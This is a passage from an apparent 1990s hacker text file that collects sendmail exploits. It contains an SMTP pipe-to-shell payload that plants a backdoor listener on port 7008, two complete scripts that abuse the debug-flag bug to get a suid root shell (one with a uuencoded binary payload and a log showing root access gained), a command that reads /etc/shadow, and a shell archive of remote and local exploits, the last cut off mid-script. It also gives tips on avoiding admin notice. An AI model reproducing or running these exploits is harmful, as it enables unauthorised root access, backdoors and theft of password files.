  1142.  
  1143. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  1144.  
  1145. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  1146.  
  1147. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  1148.  
  1149. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  1150.  
  1151. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  1152.  
  1153. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  1154.  
  1155. ==0){for(x=2;x
  1156.  
  1157. Or you can also ul this to port 25. BTW, it gets you in by running a
  1158. program that listens to port 7008... you telnet to port 7008. You can then
  1159. proceed to create new users in /etc/passwd because you own the /etc
  1160. dir...you need to type a ; after every command, and it gives you 1 error
  1161. every command...ignore it. The process may be noticed by a few admins.
  1162.  
  1163. helo
  1164.  
  1165. mail from: |
  1166.  
  1167. rcpt to: bounce
  1168.  
  1169. data
  1170.  
  1171. .
  1172.  
  1173. mail from: bin
  1174.  
  1175. rcpt to: | sed '1,/^$/d' | sh
  1176.  
  1177. data
  1178.  
  1179. cat > /tmp/a.c <
  1180.  
  1181. #include <sys/signal.h>
  1182.  
  1183. #include <sys/socket.h>
  1184.  
  1185. #include <netinet/in.h>
  1186.  
  1187. #include <netdb.h>
  1188.  
  1189. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  1190.  
  1191. int **av;{struct sockaddr_in mya;struct servent *sp
  1192.  
  1193. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  1194.  
  1195. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  1196.  
  1197. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  1198.  
  1199. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  1200.  
  1201. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  1202.  
  1203. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  1204.  
  1205. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  1206.  
  1207. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  1208.  
  1209. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  1210.  
  1211. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  1212.  
  1213. ==0){for(x=2;x
  1214.  
  1215. -d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =
  1216.  
  1217. This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
  1218. follow excerpts from Michael Widner's message on Bugtraq with his script
  1219. for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
  1220. 8.6.4:
  1221.  
  1222. "The important thing to know is that if your sendmail crashes when you pass
  1223. it something like -d387654321 then it can most likely be exploited to gain
  1224. root access.
  1225.  
  1226. Without going into much detail, -dx.y writes y into the debug array as
  1227. array[x]=y. Range checking is not performed properly on x, so it's possible
  1228. to pass negative integers that pass the range check. Find a key location
  1229. before the debug array, over write it, and you're in business.
  1230.  
  1231. The problem in trying to create a generic script is that the 'key'
  1232. locations have different offsets from the debug array for every version of
  1233. sendmail. Sometimes they're easy to locate if you can get a core, but
  1234. sometimes it is tough to get a core w/o already being root. Also, sometimes
  1235. a core tells you nothing.
  1236.  
  1237. The following script is Sun specific, and patches are now available for all
  1238. versions of Sun sendmail. The script creates a suid root owned copy of
  1239. /bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
  1240. choose some program other than /bin/sh. "
  1241.  
  1242. #!/bin/sh
  1243.  
  1244. # This script takes advantage of sendmail's (mis)interpretation of
  1245.  
  1246. # very large unsigned ints as signed ints when accessing the debug
  1247.  
  1248. # array.  As it, it will work with the 8 versions of sun sendmail
  1249.  
  1250. # that I have access to.  Perhaps I'll update it if I find new
  1251.  
  1252. # versions of sun sendmail.
  1253.  
  1254. # NOTE:  This is a Sun specific script.  Don't expect it to work with
  1255.  
  1256. #        any non-sun sendmail.
  1257.  
  1258. # -Michael R. Widner (atreus)        3/25/94
  1259.  
  1260. #
  1261.  
  1262. # usage:  smdhole [/path/to/suid/sendmail]
  1263.  
  1264. #
  1265.  
  1266. # add /usr/ucb to path so solaris can find `whoami` (4/18/94)
  1267.  
  1268. path=$path:/usr/ucb
  1269.  
  1270. if [ $1x = x ]; then
  1271.  
  1272.         sendmail=/usr/lib/sendmail
  1273.  
  1274. else
  1275.  
  1276.         echo "Trying to abuse $1."
  1277.  
  1278.         sendmail=$1
  1279.  
  1280. fi
  1281.  
  1282. sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`
  1283.  
  1284. # prefix and suffix for -1 as unsigned integer.  Actually, this is
  1285.  
  1286. # off by two.  you figure out why.
  1287.  
  1288. prefix=42949
  1289.  
  1290. suffix=67297
  1291.  
  1292. case $sm_size in
  1293.  
  1294.         132064)
  1295.  
  1296.                 n1=${prefix}52864
  1297.  
  1298.                 n2=${prefix}52865
  1299.  
  1300.                 n3=${prefix}52866
  1301.  
  1302.                 echo Patched solaris w/o mx.
  1303.  
  1304.                 ;;
  1305.  
  1306.         134752) # ug! dropped a 0 before.  fixed 4/18/94
  1307.  
  1308.                 n1=${prefix}01656
  1309.  
  1310.                 n2=${prefix}01657
  1311.  
  1312.                 n3=${prefix}01658
  1313.  
  1314.                 echo Patched solaris sendmail.mx
  1315.  
  1316.                 ;;
  1317.  
  1318.         130860)
  1319.  
  1320.                 n1=${prefix}53016
  1321.  
  1322.                 n2=${prefix}53017
  1323.  
  1324.                 n3=${prefix}53018
  1325.  
  1326.                 echo Un-patched solaris w/o mx.
  1327.  
  1328.                 ;;
  1329.  
  1330.         133548) # ug! dropped a 0 before.  fixed 4/18/94
  1331.  
  1332.                 n1=${prefix}01808
  1333.  
  1334.                 n2=${prefix}01809
  1335.  
  1336.                 n3=${prefix}01810
  1337.  
  1338.                 echo Un-patched solaris sendmail.mx
  1339.  
  1340.                 ;;
  1341.  
  1342.         139264)
  1343.  
  1344.                 n1=${prefix}49609
  1345.  
  1346.                 n2=${prefix}49610
  1347.  
  1348.                 n3=${prefix}49611
  1349.  
  1350.                 echo Sun 4.1.3 sendmail - could be either of two versions
  1351.  
  1352.                 n4=${prefix}49265
  1353.  
  1354.                 n5=${prefix}49266
  1355.  
  1356.                 n6=${prefix}49267
  1357.  
  1358.                 ;;
  1359.  
  1360.         155648)
  1361.  
  1362.                 n1=${prefix}46953
  1363.  
  1364.                 n2=${prefix}46954
  1365.  
  1366.                 n3=${prefix}46955
  1367.  
  1368.                 echo Sun 4.1.3 sendmail.mx - could be either of two versions
  1369.  
  1370.                 n4=${prefix}46609
  1371.  
  1372.                 n5=${prefix}46610
  1373.  
  1374.                 n6=${prefix}46611
  1375.  
  1376.                 ;;
  1377.  
  1378.         *)
  1379.  
  1380.                 echo "I don't know what version of sendmail $sendmail is."
  1381.  
  1382.                 echo -n "Look for other versions of sendmail[.mx] on the "
  1383.  
  1384.                 echo "system and re-run this as:"
  1385.  
  1386.                 echo "     $0 /path/to/another/suid/sendmail"
  1387.  
  1388.                 echo
  1389.  
  1390.                 echo "Let me see if I can suggest anything..."
  1391.  
  1392.                 find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
  1393.  
  1394. -ls 2>/dev/null
  1395.  
  1396.                 exit 1
  1397.  
  1398.                 ;;
  1399.  
  1400.         esac
  1401.  
  1402. cat << EOM > /tmp/sendmail.cf
  1403.  
  1404. DMether
  1405.  
  1406. DRlocalhost
  1407.  
  1408. CRlocalhost
  1409.  
  1410. CDMailer-Daemon root daemon uucp
  1411.  
  1412. DlFrom \$g  \$d
  1413.  
  1414. Do.:%@!^=/[]
  1415.  
  1416. Dq\$g\$?x (\$x)\$.
  1417.  
  1418. De\$j nothing
  1419.  
  1420. OA./aliases
  1421.  
  1422. OF0666
  1423.  
  1424. Og1
  1425.  
  1426. OL0
  1427.  
  1428. Oo
  1429.  
  1430. OPPostmaster
  1431.  
  1432. OQ.
  1433.  
  1434. Os
  1435.  
  1436. Ou1
  1437.  
  1438. T root daemon uucp
  1439.  
  1440. H?F?From: nobody
  1441.  
  1442. Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
  1443.  
  1444. Mprog,  P=/tmp/in.telnet,   F=lsDFMeuP,  S=10, R=20, A=sh -c \$u
  1445.  
  1446. S0
  1447.  
  1448. R\$+                    \$#local \$:\$1                 just rewrite
  1449.  
  1450. EOM
  1451.  
  1452. cat $0 | sed "s:atreus::" | uudecode
  1453.  
  1454. uncompress /tmp/in.telnet.Z
  1455.  
  1456. chmod 755 /tmp/in.telnet
  1457.  
  1458. mkdir /tmp/mail
  1459.  
  1460. cp /tmp/sendmail.cf /tmp/mail
  1461.  
  1462. cp /bin/sh /tmp/newsh
  1463.  
  1464. chmod 666 /tmp/newsh
  1465.  
  1466. $sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami`  <Q2RA)! %(atreus
  1467.  
  1468. M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus
  1469.  
  1470. M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus
  1471.  
  1472. M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
  1473.  
  1474. M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
  1475.  
  1476. M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
  1477.  
  1478. MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
  1479.  
  1480. M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2)  AT MN;AF:Z\Q@K atreus
  1481.  
  1482. M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus
  1483.  
  1484. M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
  1485.  
  1486. M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I  *.%R  0BI51#1!36 $ 
  1487. 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
  1488.  
  1489. MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
  1490.  
  1491. M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
  1492.  
  1493. M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
  1494.  
  1495. M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
  1496.  
  1497. M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
  1498.  
  1499. MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
  1500.  
  1501. M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
  1502.  
  1503. MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -
  1504. J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
  1505.  
  1506. MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
  1507.  
  1508. MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
  1509.  
  1510. M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
  1511.  
  1512. M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
  1513.  
  1514. MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
  1515.  
  1516. +^MKWOOC-KW[WFUS=atreus
  1517.  
  1518.  atreus
  1519.  
  1520. endatreus
  1521.  
  1522. ----------------------- CuT HeRe -------------------------------------
  1523.  
  1524. Here it is the other script:
  1525.  
  1526. /* What follows is a sample run exercising the latest sendmail hole and the
  1527. script used to exploit this hole. This is a re-send; I neglected to escape
  1528. the "." in the sendmail script, leaving the program slightly truncated. To
  1529. fix this, I have escaped the . so prior to executing this you must remove
  1530. the \. (does that make any sense? :-) There was also a small problem with
  1531. nested quotes pointed out by Peter Wemm which I have fixed.
  1532.  
  1533. This is the "small version" of the script; it assumes you have a sane
  1534. sendmail.cf. In this manner, it is not a particularly robust "breakin
  1535. script" but I believe it does illustrate how to exploit the bug.
  1536.  
  1537. This program uses "calc.c," the program mentioned by Timothy Newsham in an
  1538. earlier message. The program has been modified slightly so that it gives
  1539. better results (it would occasionally fail to locate the offset of a config
  1540. given a buggy sendmail. The fix is to force a sync() after it generates a
  1541. coredump.) The remainder of the program was written by myself and a fellow
  1542. student, Steven Dake.
  1543.  
  1544. We have held off on releasing this script until we were able to notify the
  1545. people responsible for system security at NAU. Locals subscribing to this
  1546. digest beware; sendmail on our machines has been patched! :-) */
  1547.  
  1548. Script started on Thu Mar 24 00:54:54 1994
  1549.  
  1550. [pine] [1] date
  1551.  
  1552. Thu Mar 24 00:54:57 MST 1994
  1553.  
  1554. [pine] [2] whoami
  1555.  
  1556. jwa
  1557.  
  1558. [pine] [3] id
  1559.  
  1560. uid=4473(jwa) gid=400(student)
  1561.  
  1562. [pine] [4] ls -l sendbug.sh
  1563.  
  1564. -rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
  1565.  
  1566. [pine] [5] sendbug.sh
  1567.  
  1568. Creating setid0 ...
  1569.  
  1570. Creating calc...
  1571.  
  1572. Scanning core image for /nau/local/lib/mail/sendmail.cf...
  1573.  
  1574. Creating alias.sh ...
  1575.  
  1576. Creating fake alias file...
  1577.  
  1578. Faking alias pointer in new config file...
  1579.  
  1580. Creating the sendmail script...
  1581.  
  1582. Executing /usr/lib/sendmail -
  1583.  
  1584. d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,429493
  1585. 5553.115,429
  1586.  
  1587. 4935554.109,4294935555.46,4294935556.9
  1588.  
  1589. Version 8.6.4
  1590.  
  1591. 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
  1592.  
  1593. 00:55:21 -0700
  1594.  
  1595. 220 ESMTP spoken here
  1596.  
  1597. 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
  1598.  
  1599. 250 ... Sender ok
  1600.  
  1601. 250 ... Recipient ok
  1602.  
  1603. 354 Enter mail, end with "." on a line by itself
  1604.  
  1605. 250 AAA01803 Message accepted for delivery
  1606.  
  1607. 503 Need MAIL before RCPT
  1608.  
  1609. 503 Need MAIL command
  1610.  
  1611. 500 Command unrecognized
  1612.  
  1613. 500 Command unrecognized
  1614.  
  1615. 221 pine.cse.nau.edu closing connection
  1616.  
  1617. setid0 is a suid shell.  executing...
  1618.  
  1619. executing /bin/csh...
  1620.  
  1621. pine# whoami
  1622.  
  1623. root
  1624.  
  1625. pine# id
  1626.  
  1627. uid=0(root) gid=0(root)
  1628.  
  1629. pine# exit
  1630.  
  1631. pine# end of script.
  1632.  
  1633. . and here's the program.
  1634.  
  1635. #!/bin/sh
  1636.  
  1637. # exploit new sendmail bug to give us a root shell
  1638.  
  1639. # 24 mar 94  jwa/scd @nau.edu
  1640.  
  1641. # "short version"
  1642.  
  1643. # tested on sunos 5.2/sendmail 8.6.4
  1644.  
  1645. # location of sendmail
  1646.  
  1647. SENDMAIL=/usr/lib/sendmail
  1648.  
  1649. # location of original sendmail.cf file
  1650.  
  1651. CONFIG=/nau/local/lib/mail/sendmail.cf
  1652.  
  1653. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  1654.  
  1655. # program to execute as root
  1656.  
  1657. SHELL=/bin/csh
  1658.  
  1659. TEMPDIR=/tmp/sendbug-tmp.$$
  1660.  
  1661. mkdir $TEMPDIR
  1662.  
  1663. chmod 700 $TEMPDIR
  1664.  
  1665. cd $TEMPDIR
  1666.  
  1667. cp $SENDMAIL sm
  1668.  
  1669. chmod 700 sm
  1670.  
  1671. echo "Creating setid0 ..."
  1672.  
  1673. cat > setid.c << _EOF_
  1674.  
  1675. /* set uid to zero, thus escaping the annoying csh and solaris sh
  1676.  
  1677.  * problem..
  1678.  
  1679.  *
  1680.  
  1681.  * if (getuid() != geteuid()) {
  1682.  
  1683.  *  printf("permission denied, you root-hacker you.\n");
  1684.  
  1685.  *  exit(1);
  1686.  
  1687.  * }
  1688.  
  1689.  *
  1690.  
  1691.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  1692.  
  1693.  * otherwise it runs the 1st arg.
  1694.  
  1695.  */
  1696.  
  1697. #include <stdio.h>
  1698.  
  1699. main(argc, argv)
  1700.  
  1701. int argc;
  1702.  
  1703. char *argv[];
  1704.  
  1705.  int uid;
  1706.  
  1707.  setuid(0);
  1708.  
  1709.  setgid(0);
  1710.  
  1711.  seteuid(0);  /* probabally redundant. */
  1712.  
  1713.  setegid(0);
  1714.  
  1715.  uid = getuid();
  1716.  
  1717.  if (uid != 0) {
  1718.  
  1719.   printf("setuid(0); failed!  aborting..\n");
  1720.  
  1721.   exit(1);
  1722.  
  1723.  }
  1724.  
  1725.  if (argc !=2) {
  1726.  
  1727.   printf("executing /bin/sh...\n");
  1728.  
  1729.   system("/bin/sh");
  1730.  
  1731.  }
  1732.  
  1733.   else
  1734.  
  1735.  {
  1736.  
  1737.   printf("executing %s...\n", argv[1]);
  1738.  
  1739.   system(argv[1]);
  1740.  
  1741.  }
  1742.  
  1743. _EOF_
  1744.  
  1745. cc -o setid0 setid.c
  1746.  
  1747. echo "Creating calc..."
  1748.  
  1749. cat > calc.c << _EOF_
  1750.  
  1751. /*
  1752.  
  1753.  * Determines offset in sendmail of
  1754.  
  1755.  * sendmail.cf file location.
  1756.  
  1757.  * author: timothy newsham
  1758.  
  1759.  */
  1760.  
  1761. #include <fcntl.h>
  1762.  
  1763. gencore()
  1764.  
  1765.   int pid;
  1766.  
  1767.   int fd[2];
  1768.  
  1769.   if(pipe(fd) < 0) {
  1770.  
  1771.     perror("pipe");
  1772.  
  1773.     exit(1);
  1774.  
  1775.     return(0);
  1776.  
  1777.   }
  1778.  
  1779.   pid = fork();
  1780.  
  1781.   if(!pid) {
  1782.  
  1783.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  1784.  
  1785.     dup2(f, 1); dup2(fd[0], 0);
  1786.  
  1787.     close(f); close(fd[1]); close(fd[0]);
  1788.  
  1789.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  1790.  
  1791.     perror("exec");
  1792.  
  1793.     exit(0);
  1794.  
  1795.   } else {
  1796.  
  1797.     sleep(2);
  1798.  
  1799.     kill(pid, 11);
  1800.  
  1801.   }
  1802.  
  1803.   close(fd[0]);
  1804.  
  1805.   close(fd[1]);
  1806.  
  1807. main(argc,argv)
  1808.  
  1809. char **argv;
  1810.  
  1811. int argc;
  1812.  
  1813.   unsigned int ConfFile,tTdvect,off;
  1814.  
  1815.   gencore();
  1816.  
  1817.   sync();   /* grr. */
  1818.  
  1819.   tTdvect = find("ZZZZZZZZ", "core");
  1820.  
  1821.   ConfFile = find(argv[1], "core");
  1822.  
  1823.   if(!tTdvect || !ConfFile) {
  1824.  
  1825.    return(1);
  1826.  
  1827.   }
  1828.  
  1829.   off = ConfFile - tTdvect;
  1830.  
  1831.  
  1832.  
  1833. printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",  
  1834. off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  1835.  
  1836.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  1837.  
  1838. int find(pattern, file)
  1839.  
  1840. char *pattern,*file;
  1841.  
  1842.   int fd;
  1843.  
  1844.   int i, addr;
  1845.  
  1846.   char c;
  1847.  
  1848.   fd = open(file, 0);
  1849.  
  1850.   i = 0;
  1851.  
  1852.   addr = 0;
  1853.  
  1854.   while(read(fd, &c, 1) == 1) {
  1855.  
  1856.     if(pattern[i] == c)
  1857.  
  1858.       i++;
  1859.  
  1860.     else
  1861.  
  1862.       i=0;
  1863.  
  1864.     if(pattern[i] == '\0') {
  1865.  
  1866.       addr -= strlen(pattern);
  1867.  
  1868.       return(addr);
  1869.  
  1870.     }
  1871.  
  1872.     addr++;
  1873.  
  1874.   }
  1875.  
  1876.   return(0);
  1877.  
  1878. _EOF_
  1879.  
  1880. cc calc.c -o calc
  1881.  
  1882. echo "Scanning core image for $CONFIG..."
  1883.  
  1884. DEBUGFLAGS=`calc $CONFIG`
  1885.  
  1886. echo "Creating alias.sh ..."
  1887.  
  1888. echo "#!/bin/sh
  1889.  
  1890. # this program will be executed when mail is sent to the fake alias.
  1891.  
  1892. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  1893.  
  1894. # we instead run the program we compiled above.
  1895.  
  1896. /bin/chmod 6777 $TEMPDIR/setid0
  1897.  
  1898. /bin/chown root $TEMPDIR/setid0
  1899.  
  1900. /bin/sync
  1901.  
  1902. " > alias.sh
  1903.  
  1904. chmod 755 alias.sh
  1905.  
  1906. echo "Creating fake alias file..."
  1907.  
  1908. echo "yash: |$TEMPDIR/alias.sh" > aliases
  1909.  
  1910. echo "Faking alias pointer in new config file..."
  1911.  
  1912. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  1913.  
  1914. echo "
  1915.  
  1916. # hacks follow
  1917.  
  1918. OA/$TEMPDIR/aliases                     # our fake alias file
  1919.  
  1920. Ou0                                     # user ID to run as
  1921.  
  1922. Og0                                     # group ID to run as
  1923.  
  1924. DZWHOOP-v1.0" >> /tmp/sm.cf
  1925.  
  1926. echo "Creating the sendmail script..."
  1927.  
  1928. cat > sendmail.script << _EOF_
  1929.  
  1930. helo
  1931.  
  1932. mail from: <nobody>
  1933.  
  1934. rcpt to: <yash>
  1935.  
  1936. data
  1937.  
  1938. yet another sendmail hole?  suid whoop?
  1939.  
  1940. \.                                      # oops.. delete \ prior to execution
  1941.  
  1942. quit
  1943.  
  1944. _EOF_
  1945.  
  1946. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  1947.  
  1948. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  1949.  
  1950. # give it time to execute.
  1951.  
  1952. sleep 4
  1953.  
  1954. # cleanup in 5 seconds
  1955.  
  1956. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  1957.  
  1958. if [ -u setid0 ]
  1959.  
  1960. then
  1961.  
  1962.  echo "setid0 is a suid shell.  executing..."
  1963.  
  1964.  cd /
  1965.  
  1966.  $TEMPDIR/setid0 /bin/csh
  1967.  
  1968.  echo "end of script."
  1969.  
  1970.  exit 0
  1971.  
  1972. else
  1973.  
  1974.  echo "setid0 is not suid; script failed."
  1975.  
  1976.  echo "apparently, you don't have the bug.  celebrate :-)"
  1977.  
  1978.  exit 1
  1979.  
  1980. fi
  1981.  
  1982. --------------------------------- CuT HeRe --------------------------------
  1983.  
  1984. -oE/filename bounce = 8.6.7 =
  1985.  
  1986. Version affected: 8.6.7
  1987.  
  1988. A bug in Sendmail 8.6.7 allows anyone to read any file, including the
  1989. shadowed password file:
  1990.  
  1991. /usr/lib/sendmail -oE/etc/shadow bounce
  1992. From: your_username
  1993.  
  1994. 8.6.9 = 8.6.9 or earlier =
  1995.  
  1996. Mail any file to yourself.
  1997.  
  1998. ------8<-------------------Cut Here--------------------8<-------------------
  1999.  
  2000. # This is a shell archive.  Save it in a file, remove anything before
  2001.  
  2002. # this line, and then unpack it by entering "sh file".  Note, it may
  2003.  
  2004. # create directories; files and directories will be owned by you and
  2005.  
  2006. # have default permissions.
  2007.  
  2008. #
  2009.  
  2010. # This archive contains:
  2011.  
  2012. #
  2013.  
  2014. #       description
  2015.  
  2016. #       sm869.local
  2017.  
  2018. #       sm869.remote
  2019.  
  2020. #
  2021.  
  2022. echo x - description
  2023.  
  2024. sed 's/^X//' >description << 'END-of-description'
  2025.  
  2026. X
  2027.  
  2028. XProgram: sm869.remote
  2029.  
  2030. X
  2031.  
  2032. Xyou can:
  2033.  
  2034. X
  2035.  
  2036. X   run the body of the mail through a shell if
  2037.  
  2038. X   sendmail is allowed to run a shell.
  2039.  
  2040. X
  2041.  
  2042. X   write the whole message to a file.
  2043.  
  2044. X
  2045.  
  2046. X   have it send back a file to an account you specify.
  2047.  
  2048. X
  2049.  
  2050. XThe last option is supposed to remove the file after sending
  2051.  
  2052. Xit but I found that it hasn't in my tests.  Why?  Well
  2053.  
  2054. Xit has multiple recipients, one of the recipients is a
  2055.  
  2056. Xrecipient that will never go through.  So the data file
  2057.  
  2058. Xgets kept around until it gives up on that host.  This
  2059.  
  2060. Xcan be several days.
  2061.  
  2062. X
  2063.  
  2064. XProblems:
  2065.  
  2066. X
  2067.  
  2068. X  The action you specify will happen every 30minutes (the
  2069.  
  2070. X  queue time, may be different) until it gives up sending
  2071.  
  2072. X  to the unreachable host.  (Actually this may be false.
  2073.  
  2074. X  I haven't left it around long enough to see if this happens.
  2075.  
  2076. X  Perhaps sendmail is smart enough to remove the other recipients
  2077.  
  2078. X  that did get delievered from the queue file).
  2079.  
  2080. X
  2081.  
  2082. X  If you send a file back to yourself it may get removed
  2083.  
  2084. X  several days later.  If you get the password file or
  2085.  
  2086. X  some other critical file you had better be ready to clean
  2087.  
  2088. X  up.
  2089.  
  2090. X
  2091.  
  2092. X  Lots of logs.  Its fairly obvious from the log files that
  2093.  
  2094. X  some hokey pokey is going on.  If you're sending a file
  2095.  
  2096. X  back to yourself then you're pointing a finger at one
  2097.  
  2098. X  of your accounts
  2099.  
  2100. X
  2101.  
  2102. XYou have to go into the program to change the options you
  2103.  
  2104. Xwant.  The code is fairly well commented so this shouldn't
  2105.  
  2106. Xbe any problem.
  2107.  
  2108. X
  2109.  
  2110. XProgram: sm869.local
  2111.  
  2112. X
  2113.  
  2114. XSame thing as above really except it works even if sendmail
  2115.  
  2116. Xdoesnt check identd and you dont have to specify an unreachable
  2117.  
  2118. Xhost.  The file goes straight to the queue.
  2119.  
  2120. X
  2121.  
  2122. END-of-description
  2123.  
  2124. echo x - sm869.local
  2125.  
  2126. sed 's/^X//' >sm869.local << 'END-of-sm869.local'
  2127.  
  2128. X#!/bin/sh
  2129.  
  2130. X#
  2131.  
  2132. X# Exploit hole in sendmail 8.6.9 and earlier.
  2133.  
  2134. X#
  2135.  
  2136. X
  2137.  
  2138. X# Either write a file or run a program.
  2139.  
  2140. X#ACTION="|/tmp/runme"
  2141.  
  2142. XACTION="/tmp/writeme"
  2143.  
  2144. X
  2145.  
  2146. X# Data file to read from and then remove
  2147.  
  2148. XDATAFILE="/tmp/abc"
  2149.  
  2150. X#DATAFILE=""
  2151.  
  2152. X
  2153.  
  2154. X# Who to run as
  2155.  
  2156. XRUNAS="bin"
  2157.  
  2158. X
  2159.  
  2160. X# Who to send mail to
  2161.  
  2162. XWHOAMI=`whoami`
  2163.  
  2164. XSENDTO=$WHOAMI
  2165.  
  2166. X#SENDTO="someone-else"
  2167.  
  2168. X
  2169.  
  2170. X# Build up arg and send it off
  2171.  
  2172. Xif [ -n "$DATAFILE" ] ; then
  2173.  
  2174. XARG="$WHOAMI
  2175.  
  2176. XD$DATAFILE
  2177.  
  2178. XC:$RUNAS
  2179.  
  2180. XR\"$ACTION\""
  2181.  
  2182. Xelse
  2183.  
  2184. XARG="$WHOAMI
  2185.  
  2186. XC:$RUNAS
  2187.  
  2188. XR\"$ACTION\""
  2189.  
  2190. Xfi
  2191.  
  2192. Xsendmail -odq -F"$ARG" $SENDTO << _END_
  2193.  
  2194. XThis is appearing in the mailbox
  2195.  
  2196. Xand also being piped to the program or
  2197.  
  2198. Xwritten to the file, UNLESS you specify
  2199.  
  2200. Xa datafile above.  In that case the datafile
  2201.  
  2202. Xwill be written and erased and this text will
  2203.  
  2204. Xbe left (not deleted) in the queue directory.
  2205.  
  2206. X_END_
  2207.  
  2208. X
  2209.  
  2210. END-of-sm869.local
  2211.  
  2212. echo x - sm869.remote
  2213.  
  2214. sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
  2215.  
  2216. X#!/bin/sh
  2217.  
  2218. X#
  2219.  
  2220. X# exploit for sm869 or worse
  2221.  
  2222. X# identd must not be enabled (port 113 must be free)
  2223.  
  2224. X
  2225.  
  2226. X# this must be a host that mail can go to (MX not pointing elsewhere)
  2227.  
  2228. X# that we cant reach right now (ie. host doesnt exist anymore)
  2229.  
  2230. XUNREACHABLE="goofy.uhcc.hawaii.edu"
  2231.  
  2232. X
  2233.  
  2234. X# Commands to run on remote host
  2235.  
  2236. XCOMMANDS="touch /tmp/gotcha"
  2237.  
  2238. X
  2239.  
  2240. X# what host to run it on
  2241.  
  2242. XTARGET="localhost"
  2243.  
  2244. X
  2245.  
  2246. X# work in a temp dir
